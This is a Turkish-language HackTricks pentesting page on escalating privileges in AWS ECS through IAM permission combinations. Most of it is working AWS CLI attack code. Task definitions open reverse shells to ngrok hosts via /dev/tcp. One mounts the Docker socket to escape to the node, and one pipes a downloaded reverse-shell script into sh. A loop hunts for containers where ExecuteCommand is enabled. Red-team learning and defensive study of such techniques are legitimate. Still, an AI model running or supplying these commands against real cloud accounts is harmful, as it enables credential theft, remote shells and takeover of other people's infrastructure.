AWS - ECS Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

ECS

ECS hakkında daha fazla bilgi için:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Bir saldırgan, ECS'deki iam:PassRole, ecs:RegisterTaskDefinition ve ecs:RunTask izinlerini kötüye kullanarak, kimlik bilgilerini çalan ve çalıştıran kötü niyetli bir konteyner içeren yeni bir görev tanımı oluşturabilir.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potansiyel Etki: Farklı bir ECS rolüne doğrudan ayrıcalık yükseltme.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Önceki örnekte olduğu gibi, bir saldırgan ECS'deki iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask izinlerini kötüye kullanarak, kötü amaçlı bir konteyner içeren bir yeni görev tanımı oluşturabilir ve bunu çalıştırarak meta veri kimlik bilgilerini çalabilir. Ancak, bu durumda, kötü amaçlı görev tanımını çalıştırmak için bir konteyner örneği olması gerekmektedir.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potansiyel Etki: Herhangi bir ECS rolüne doğrudan ayrıcalık yükseltme.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Önceki örnekte olduğu gibi, bir saldırgan ECS'deki iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService veya ecs:CreateService izinlerini kötüye kullanarak, kimlik bilgilerini çalan kötü niyetli bir konteyner içeren yeni bir görev tanımı oluşturabilir ve en az 1 görev çalıştıran yeni bir hizmet oluşturarak bunu çalıştırabilir.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potansiyel Etki: Herhangi bir ECS rolüne doğrudan ayrıcalık yükseltme.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Bu senaryo, öncekiler gibi iam:PassRole izni olmadan gerçekleşir. Bu yine ilginç çünkü bir rol olmadan bile keyfi bir konteyner çalıştırabiliyorsanız, ayrıcalıklı bir konteyner çalıştırarak düğümden kaçabilir ve düğümde çalışan EC2 IAM rolünü ve diğer ECS konteyner rollerini çalabilirsiniz. Hatta, başka görevleri zorlayarak, onların kimlik bilgilerini çalmak için ele geçirdiğiniz EC2 örneğinde çalışmalarını sağlayabilirsiniz (aws-ecs-privesc.md#privesc-to-node bölümünde tartışıldığı gibi).

Bu saldırı, ECS kümesinin Fargate yerine EC2 örnekleri kullanması durumunda mümkündür.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Bir saldırgan, ecs:ExecuteCommand, ecs:DescribeTasks yetkilerine sahip olduğunda, çalışan bir konteyner içinde komutları çalıştırabilir ve ona bağlı IAM rolünü dışarıya çıkarabilir (aws ecs execute-command komutunu çalıştırmak için describe izinlerine ihtiyaç vardır). Ancak bunu yapabilmek için, konteyner örneğinin ExecuteCommand ajanını çalıştırması gerekmektedir (varsayılan olarak çalışmaz).

Bu nedenle, saldırgan aşağıdakileri deneyebilir:

  • Her çalışan konteynerde bir komut çalıştırmayı deneyin

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Eğer ecs:RunTask yetkisi varsa, aws ecs run-task --enable-execute-command [...] komutuyla bir görev çalıştırın.

  • Eğer ecs:StartTask yetkisi varsa, aws ecs start-task --enable-execute-command [...] komutuyla bir görev çalıştırın.

  • Eğer ecs:CreateService yetkisi varsa, aws ecs create-service --enable-execute-command [...] komutuyla bir hizmet oluşturun.

  • Eğer ecs:UpdateService yetkisi varsa, aws ecs update-service --enable-execute-command [...] komutuyla bir hizmeti güncelleyin.

Bu seçeneklerin önceki ECS ayrıcalık yükseltme bölümlerinde örneklerini bulabilirsiniz.

Potansiyel Etki: Konteynerlere bağlı farklı bir role ayrıcalık yükseltme.

ssm:StartSession

Bu izni ssm ayrıcalık yükseltme sayfasında nasıl kötüye kullanabileceğinizi ve ECS'e ayrıcalık yükseltebileceğinizi kontrol edin:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Bu izinleri ec2 ayrıcalık yükseltme sayfasında nasıl kötüye kullanabileceğinizi ve ECS'e ayrıcalık yükseltebileceğinizi kontrol edin:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Farklı bir AWS hesabından bir örneği kaydederek saldırgan tarafından kontrol edilen makineler altında görevlerin çalıştırılması mümkün mü?

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Bunun test edilmesi gerekiyor.

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet ve ecs:DescribeTaskSets yetkilerine sahip bir saldırgan, mevcut bir ECS hizmeti için kötü amaçlı bir görev kümesi oluşturabilir ve birincil görev kümesini güncelleyebilir. Bu, saldırganın hizmet içinde keyfi kodu yürütmesine olanak sağlar.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potansiyel Etki: Etkilenen serviste keyfi kod yürütme, işlevselliğini etkileme veya hassas verileri dışarı çıkarma potansiyeli.

Referanslar

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Last updated